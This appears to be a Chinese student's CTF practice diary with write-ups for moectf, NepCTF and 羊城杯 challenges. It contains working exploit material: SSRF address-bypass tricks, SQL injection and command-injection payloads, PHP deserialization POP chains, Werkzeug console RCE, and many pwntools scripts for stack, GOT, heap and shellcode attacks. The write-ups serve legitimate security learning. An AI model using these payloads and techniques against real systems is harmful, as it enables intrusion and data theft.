利用后端对
URL
解析不当:http://www.baidu.com@192.168.0.1/
与http://192.168.0.1
请求的都是192.168.0.1
可以指向任意 ip 的域名
xip.io
:http://127.0.0.1.xip.io/
==>http://127.0.0.1/
短地址
http://dwz.cn/11SMa
==>http://127.0.0.1
利用句号
。
:127。0。0。1
==>127.0.0.1
Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
#8.20
写了点moe
的web
,复现2023ciscn
半决赛的cgi
,学一下http
逆向,救命格式好难逆唉
垫刀之路04
url?path=
可以访问目录,直接路径穿越访问根目录,flag
在/tmp/flag
中
静态网页
提示看板娘换装,抓包到/api/rand_textures/?id=1-64
,提示No, you seem to get to a wrong place!!!"
,找了看板娘的源码里发现api
里有个fetch(${this.apiPath}rand_textures/?id=${modelId}-${modelTexturesId})
,继续搜索${this.apiPath}
发现还有loadlive2d("live2d", ${this.apiPath}get/?id=${modelId}-${modelTexturesId});
,于是访问/api/get?id=1-34
提示final1l1l_challenge.php
,弱类型比较
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';
$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
}
最终构造http://127.0.0.1:57736/final1l1l_challenge.php?a=“0”
并且POST
参数b[“0”]=7571e26c5003305783e784e8f52ea254
,也可以用a=0a
#8.21
今天还在写题
System_not_found!
输入name
溢出覆盖address
输入时候的输入长度,通过address
溢出控制程序流直接执行puts
泄露libc
地址再返回到程序再次控制返回地址到ogg
char name[16]; // [rsp+0h] [rbp-40h] BYREF
size_t address_len; // [rsp+10h] [rbp-30h]
char address[36]; // [rsp+18h] [rbp-28h] BYREF
int name_len; // [rsp+3Ch] [rbp-4h]
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
puts_plt = elf.plt['puts']
main = 0x4011E1
r.sendafter(b'>', b'a' * 20)
p = b'a' * 0x28 + p64(puts_plt) * 2 + p64(main)
r.sendafter(b'>', p)
libc = ELF('./libc.so.6')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x62050
ogg = libc_base + 0xebc81
r.sendafter(b'>', b'a' * 20)
p = b'a' * 0x28 + p64(0x404200 + 0x78) + p64(ogg)
r.sendafter(b'>', p)
r.interactive()
这是什么?GOT!
直接往got
部分写,但是从got
表开始写到exit
,有后门,需要注意的是system
里的值不能变,exit
覆盖成后门
.got.plt:0000000000404000 off_404000 dq offset puts ; DATA XREF: _puts↑r
.got.plt:0000000000404000 ; main+5F↑o
.got.plt:0000000000404008 off_404008 dq offset write ; DATA XREF: _write↑r
.got.plt:0000000000404010 off_404010 dq offset system ; DATA XREF: _system↑r
.got.plt:0000000000404018 off_404018 dq offset printf ; DATA XREF: _printf↑r
.got.plt:0000000000404020 off_404020 dq offset alarm ; DATA XREF: _alarm↑r
.got.plt:0000000000404028 off_404028 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000404030 off_404030 dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0000000000404038 off_404038 dq offset exit
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('192.168.56.1', 61337)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
bd = 0x401196
system_got = 0x0000000000401056
p = p64(system_got) * 7 + p64(bd)
r.send(p)
r.interactive()
垫刀之路05: 登陆网站
sql
注入,给出了用户名是admin123
,直接万能密码1' or '1'='1
电院_Backend
sql
注入,源码如下
<?php
error_reporting(0);
session_start();
if($_POST){
$verify_code = $_POST['verify_code'];
// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}
$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}
$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);
$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}
?>
用||
代替or
,剩余的注释掉,最终构造成:email=a@a.a' || '1'='1'--
,pwd=aaa
,由于pwd
进行了md5
所以要将后面注释掉
#8.22
一起吃豆豆
index.js
里有一行context.fillText(_LIFE ? atob("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==") : 'GAME OVER', this.x, this.y);,base64
解码得到flag
你听不到我的声音
系统命令执行,不会直接显示,所以放到其他文件里再访问文件:cmd=cat /flag > ./1.txt
shell_exec($_POST['cmd']);
easy_ser
反序列化给我一种脑筋急转弯的感觉…
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
exp
<?php
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
echo "getflag";
}
}
$re = new re();
$pwn = new pwn();
$web = new web();
$misc = new Misc();
$pwn->dusk = "gods";
$pwn->over = $misc;
$re->chu0 = $pwn;
$web->kw = $re;
$res = serialize($web);
echo $res;
最终构造:O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}
反序列化
序列化/反序列化
- **序列化
serialize()
**PHP
-> 字符串,将对象的状态以及它的类名和属性值编码为一个字符串,一般在输出的时候都会先编码后输出,以免遇到保护和私有类序列化后不可见字符丢失的问题echo urlencode($serializedData)
- 反序列化
unserialize()
将序列化后的字符串 ->PHP
对象,将序列化的字符串解码,并转换回PHP
对象 - 序列化的目的是方便数据的存储,常被用到缓存、
session
、cookie
等地方 - 函数参数是一个类会调用它的
toString
方法
魔术方法
__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
垫刀之路06: pop base mini moe
源码
<?php
class A {
// 注意 private 属性的序列化哦
private $evil;
// 如何赋值呢
private $a;
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
class B {
private $b;
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
直接利用a
执行系统命令,直接cat
没有回显,输出到其他文件中
exp
<?php
class A {
public $evil;
public $a;
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
class B {
public $b;
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
$a = new A();
$a->a = 'shell_exec';
$a->evil = 'cat /flag > ./1.txt';
echo serialize($a);
最终得到O:1:"A":2:{s:4:"evil";s:19:"cat /flag > ./1.txt";s:1:"a";s:10:"shell_exec";}
,执行后访问1.txt
pop moe
绕的脑子快打结了
源码
<?php
class class000 {
private $payl0ad = 0;
protected $what;
public function __destruct()
{
$this->check();
}
public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}
class class001 {
private $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
public $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
提示:题目容器创建方法是 export FLAG='moectf{...}' php-fpm -D
exp
<?php
class class000 {
public $payl0ad = 0;
public $what;
public function __destruct()
{
$this->check();
}
public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}
class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
public $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
$class000 = new class000();
$class001 = new class001();
$class002 = new class002();
$class003 = new class003();
$class000->what = $class001;
$class002->sec = $class003;
$class001->payl0ad = 'dangerous';
$class001->a = $class002;
$class000->payl0ad = 1;
$class003->mystr = "system('env');";
$res = serialize($class000);
echo $res;
垫刀之路07: 泄漏的密码
直接给了PIN
码,访问/console
输入PIN
码然后执行python
代码读取flag
>>> import os
>>> os.popen('ls').read()
'__pycache__\napp.py\nflag\ngetPIN.py\nstatic\ntemplates\n'
>>> os.popen('cat flag').read()
'moectf{dOnt_USIng_f14SK-By-D36uG-M0D_@Nd_I3AK-YOur-pIN15}'
#8.23
Catch_the_canary!
破随机数,泄露canary
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('192.168.56.1', 52282)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
for i in range(16768186, 16770000, 1):
r.sendlineafter(']', str(i))
r.recvuntil(b'[')
res = r.recv(1)
li(res)
if res == b'E':
continue
else:
break
r.sendline(b'+')
r.sendline(b'+')
r.sendline(str(0xBACD003))
p = b'a' * 0x19
r.sendafter(b'it', p)
r.recvuntil(b'a' * 0x19)
canary = u64(r.recv(7).ljust(8, b'\x00')) << 8
li(hex(canary))
p = b'a' * 0x18 + p64(canary) * 2 + p64(0x4012C9)
r.sendline(p)
r.interactive()
RCEisamazingwithspace
绕过空格:cmd=cat${IFS}/flag
Really EZ POP
源码
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
exp
<?php
class Sink
{
private $cmd = 'echo 123;';
public function setPrivateVar($res) {
$this->cmd = $res;
}
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function setPrivateVar($res) {
$this->word = $res;
}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
$Sink = new Sink();
$Nature = new Nature();
$Sea = new Sea();
$Shark = new Shark();
$Sink->setPrivateVar("system('cat /flag');");
$Nature->sea = $Sea;
$Sea->animal = $Shark;
$Shark->setPrivateVar($Sink);
$res = serialize($Nature);
echo $res;
发过去的序列化内容要在私有类的类名和属性名前加\x00
,最终发送nature=O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:20:"system('cat /flag');";}}}}
关于非公有字段名称:
private
使用: 私有的类的名称 (考虑到继承的情况) 和字段名组合\x00类名称\x00字段名
protected
使用:*
和字段名组合\x00*\x00字段名
#8.24-8.29
打了NepCTF
和羊城杯,通宵两晚,打完开始摆烂
nepbox
现学了一下侧信道时间盲注爆破flag
,回头单独写一篇博客记录一下,这里放个exp
,本题就是输入shellcode
并且在子进程执行,执行前会进行检查禁用一些系统调用,比如execve
,并且把write
的参数给篡改了,直接时间盲注爆破,不过很痛苦的是,靶机越打越慢最后直接打亖了…重启很多次靶机才凑出flag
if ( syscall_id != 1 )
{
LABEL_47:
puts("Bad System Call");
sub_1467(v7);
}
v8 = rand() % dword_4010;
v24 = (&off_4020)[v8];
v23 = strlen((&off_4020)[v8]);
ptrace(PTRACE_SETREGS, (unsigned int)v7, 0LL, v21);
exp
from pwn import *
import time
context(arch='amd64', os='linux', log_level = 'debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
def dbg():
gdb.attach(r)
charset = '0123456789abcdef'
flag = 'NepCTF{'
for i in range (len(flag),50):
for j in charset:
global r
#r = process('./pwn')
sleep(3)
r=remote('neptune-33443.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp")
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
je $-2
ret
'''
payload += asm(shellcode)
try:
r.sendlineafter('right', payload)
start_time = time.time()
r.clean(2)
start_time = time.time() - start_time
li('time = ' + str(start_time) + '\n' + 'char = ' + str(j))
r.close()
except:
pass
else:
if start_time > 2:
flag += j
break
li('flag = ' + flag)
if flag[-1]=="}":
break
li(flag)
r.interactive()
TimeLogger
利用C++
的异常处理机制,在抛出异常之后如果没有相应处理异常的部分就会回退到上层函数寻找异常处理,控制返回地址返回到后门函数中处理异常的部分,最终system
的参数是bss
段的excType
,所以还需要通过trace
功能溢出改excType
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('139.155.126.78', 32596)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
bd = 0x401BC2
tmp = 0x4040c0
for i in range(9):
r.sendlineafter(b'chocie', b'1')
r.sendafter(b'here', b'/bin/sh\x00/bin/sh\x00')
r.sendlineafter(b'records?', b'y')
r.sendlineafter(b'chocie', b'2')
p = p64(tmp + 0x18) * int(0x78 / 0x8) + p64(bd + 1)
r.sendafter(b'message', p)
r.interactive()
pstack
栈迁移到bss
段
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn1'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('139.155.126.78', 38948)
else:
r = process(file_name)
elf = ELF(file_name)
libc = ELF('./2.35/lib/x86_64-linux-gnu/libc.so.6')
def dbg():
gdb.attach(r)
ret = 0x4004f6
bss = 0x601a00
start = 0x400540
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x00000000004006db
pop_rdi_ret = 0x0000000000400773
def write(rop, target):
p = b'a' * 0x30 + p64(bss + 0x30) + p64(0x4006C4)
r.sendafter(b'overflow', p)
p = rop + p64(target) + p64(leave_ret)
r.send(p)
p = p64(puts_got) * 2 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
write(p, bss + 0x8)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
pop_rsi_ret = 0x000000000002be51 + libc_base
pop_rdx_r12_ret = 0x000000000011f2e7 + libc_base
one = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
ogg = libc_base + one[3]
p = p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_r12_ret) + p64(0) * 2 + p64(ogg)
write(p, bss - 0x8)
r.interactive()
数据安全1
让gpt
写个代码正则匹配一下
import pandas as pd
import re
# 读取CSV文件
df = pd.read_csv('person_data.csv', header=None)
# 定义正则表达式
birthdate_pattern = r'^\d{8}$' # 出生日期是8位数字
id_number_pattern = r'^\d{17}[\dX]$' # 身份证号码是18位的纯数字或最后一位为X
phone_pattern = r'^\d{11}$' # 手机号码是11位数字
name_pattern = r'^[\u4e00-\u9fa5]{2,4}$' # 姓名是2-4位中文
gender_pattern = r'^男|女$' # 性别为男/女
id_pattern = r'^\d{1,4}$' # 编号为1-4位数字
password_hash_pattern = r'^[a-f0-9]{32}$' # 密码的hash是32位小写MD5值
username_pattern = r'^[a-zA-Z0-9]+$' # 用户名由数字字母组成
# 定义识别函数
def identify_column(data):
data = str(data).strip()
if re.fullmatch(birthdate_pattern, data):
return '出生日期'
elif re.fullmatch(id_number_pattern, data):
return '身份证号码'
elif re.fullmatch(phone_pattern, data):
return '手机号码'
elif re.fullmatch(name_pattern, data):
return '姓名'
elif re.fullmatch(gender_pattern, data):
return '性别'
elif re.fullmatch(id_pattern, data):
return '编号'
elif re.fullmatch(password_hash_pattern, data):
return '密码'
elif re.fullmatch(username_pattern, data):
return '用户名'
else:
return '未知'
# 初始化分组数据
grouped_data = {key: [] for key in ['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号码', '手机号码']}
# 迭代每一行,识别并分组数据
for index, row in df.iterrows():
if index == 0:
# 跳过第一行,因为它是列标题
continue
identified_columns = [identify_column(cell) for cell in row]
for col, cell in zip(identified_columns, row):
if col in grouped_data:
grouped_data[col].append(cell)
# 将分组后的数据转换为DataFrame
sorted_df = pd.DataFrame({key: pd.Series(value) for key, value in grouped_data.items() if value})
# 保存到新的CSV文件
sorted_df.to_csv('sorted_file.csv', index=False)
print("列已重新排列并保存到 'sorted_file.csv'")
数据安全2
还是问gpt
,tshark
提取json
tshark -r data.pcapng -T fields -e http.request.method -e http.file_data > output.txt
再正则匹配
import csv
import json
import re
with open('./output.txt',encoding='utf-8') as file:
content = file.readlines()
# 判断错误
usernamef = re.compile(r'^[a-zA-Z0-9]+$')
namef = re.compile(r'^[\u4e00-\u9fff]+$')
sexf = re.compile(r'^(男|女)$')
birthf = re.compile(r'\d{8}')
idcardf = re.compile(r'\d{17}X|\d{18}')
def calculate_check_digit(number):
# 权重数组
weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
# 校验码数组
check_digits = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
# 将数字转换为字符串并提取每位数字
number_str = str(number)
actual_check_digit = number_str[-1]
# 计算加权和
weighted_sum = sum(int(digit) * weight for digit, weight in zip(number_str[:-1], weights))
# 计算余数
remainder = weighted_sum % 11
# 获取校验码
check_digit = check_digits[remainder]
return check_digit == actual_check_digit
# 手机号
phonef = re.compile(r'\d{11}')
phon = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759,
772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745,
746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753,
773, 774, 777, 780, 781, 789, 790, 791, 793, 799]
# 存储所有提取的数据
extracted_data = []
back_data = []
# 处理每一行
for line in content:
# 去掉空白行和不包含 JSON 的行
if "POST" in line and '{' in line:
try:
# 提取 JSON 部分并加载为字典
# 分离POST方法和数据
json_data = json.loads(line.split('POST\t')[1])
extracted_data.append(json_data)
except json.JSONDecodeError:
print(f"无法解析行:{line}")
# 打印或进一步处理提取的数据
for data in extracted_data:
username = data.get("username")
name = data.get("name")
sex = data.get("sex")
birth = data.get("birth")
idcard = data.get("idcard")
card_str = str(idcard)
second_last_digit = int(card_str[-2])
if second_last_digit % 2 == 0:
sexs = '女'
else:
sexs = '男'
is_valid = calculate_check_digit(idcard)
phone = data.get("phone")
phone_three = int(str(phone)[:3])
if not(usernamef.match(username)):
back_data.append(data)
elif not(namef.match(name)):
back_data.append(data)
elif not(sexf.match(sex)):
back_data.append(data)
elif not(birthf.match(birth)):
back_data.append(data)
elif not(idcardf.match(idcard)):
back_data.append(data)
elif birth not in (idcard):
back_data.append(data)
elif not(sex==sexs):
back_data.append(data)
elif not is_valid:
back_data.append(data)
elif not(phonef.match(phone)):
back_data.append(data)
elif not(phone_three in phon):
back_data.append(data)
i=0
for da in back_data:
i+=1
print(i)
csv_file_path = "1.csv"
with open(csv_file_path, 'w', newline='', encoding='utf-8') as file:
writer = csv.writer(file)
# 写入表头
writer.writerow(['username', 'name', 'sex', 'birth', 'idcard', 'phone'])
# 写入数据行
for da in back_data:
writer.writerow([da['username'], da['name'], da['sex'], da['birth'], da['idcard'], da['phone']])
print(f"数据已成功写入到 {csv_file_path}")
httpd
漏洞点出在stream = popen(haystack, modes);
,直接通过/
+指令即可使用系统指令,但直接cat
并不会显示,所以我cat
之后存到aaa.txt
再访问aaa.txt
(嗯没错我是用bp
写的嘻嘻
GET /cat%20%2Fflag%20%3E%20aaa.txt HTTP/1.0
Host: 139.155.126.78:36321
Content-Length: 0
Connection: close
GET /aaa.txt HTTP/1.0
Host: 139.155.126.78:36321
Content-Length: 0
Connection: close
sandbox
看似简单实则熬了一晚还没打通远程..挺奇怪的,限制堆的大小在0x500-0x900
,存在uaf
漏洞,禁用了open openat execve execveat
,且限制x86-64
架构,先用house of apple
打large bin
,再写shellcode
打openat2
,这样本地能通,远程没通,回头学一下fork + ptrace
from pwn import *
import pwnlib.shellcraft as sc
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('49.234.30.109', 9999)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(index, size):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Index', str(index))
r.sendlineafter(b'Size', str(size))
def delete(index):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'Index', str(index))
def edit(index, content):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'Index', str(index))
r.sendafter(b'Content', content)
def show(index):
r.sendlineafter(b'>', b'4')
r.sendlineafter(b'Index', str(index))
add(0, 0x540)
add(1, 0x520)
add(2, 0x530)
delete(0)
libc = ELF('./libc.so.6')
show(0)
r.recvuntil(b': ')
libc_base = u64(r.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x1f6cc0
add(3, 0x550)
edit(0, b'a' * 0x18)
show(0)
r.recvuntil(b'a' * 0x18)
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x290
li(hex(heap_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = 0x0000000000050877 + libc_base
delete(2)
p1 = p64(0) + p64(leave_ret) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20)
edit(0, p1)
add(4, 0x550)
heap_addr = heap_base + 0x550 + 0x530 + 0x290
pop_rdi_ret = 0x0000000000023b65 + libc_base
pop_rax_ret = 0x000000000003fa43 + libc_base
pop_rsi_ret = 0x00000000000251be + libc_base
pop_rdx_ret = 0x0000000000166262 + libc_base
syscall_ret = 0x0000000000120975 + libc_base
setcontext = libc_base + libc.sym['setcontext'] + 61
rsp = heap_addr + 0xd0 + 0xe8 + 0x70
rsi = rsp
#0x000000000010bc5f: mov rdx, qword ptr [rax + 0x38]; call qword ptr [rax + 0x10];
gadget = 0x000000000010bc5f + libc_base
p = b''
p = p.ljust(0x70, b'\x00') + p64(rsi)
p = p.ljust(0x88, b'\x00') + p64(0x2000)
p = p.ljust(0xa0, b'\x00') + p64(rsp) + p64(syscall_ret)
p = p.ljust(0xc0) + b'flag\x00'
edit(1, p)
p2 = b''
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(heap_addr + 0xe0 + 0xe8)
p2 += b'a' * 0x10 + p64(setcontext)
p2 += b'a' * 0x20 + p64(heap_base + 0x7e0 + 0x10)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(gadget)
edit(2, p2)
shellcode = asm(shellcraft.mmap(0x50000, 0x7e, 7, 34, 0, 0))
#0x67616c66
shellcode += asm('''
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
''')
shellcode += asm(shellcraft.amd64.read("rax", 0x50000 + 0x100, 0x100), arch='amd64')
shellcode += asm(shellcraft.amd64.write(1, 0x50000 + 0x100, 0x100), arch='amd64')
r.sendlineafter(b'>', b'5')
rop = p64(pop_rdi_ret) + p64(heap_base) + p64(pop_rsi_ret) + p64(0x21000) + p64(pop_rdx_ret) + p64(7) + p64(pop_rax_ret) + p64(10) + p64(syscall_ret) + p64(heap_base + 0xf38 + 0x50)
rop += shellcode
r.send(rop)
r.interactive()
#8.30
改了一天论文…困困困
#8.31
写了俩web
嗯
勇闯铜人阵
网页源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>听声辩位</title>
</head>
<link rel="stylesheet" type="text/css" href="/static/style.css">
<body>
<h1 id="title">听声辩位</h1>
<p>闯关弟子注意,本关继续考验你听声辩位的功夫</p>
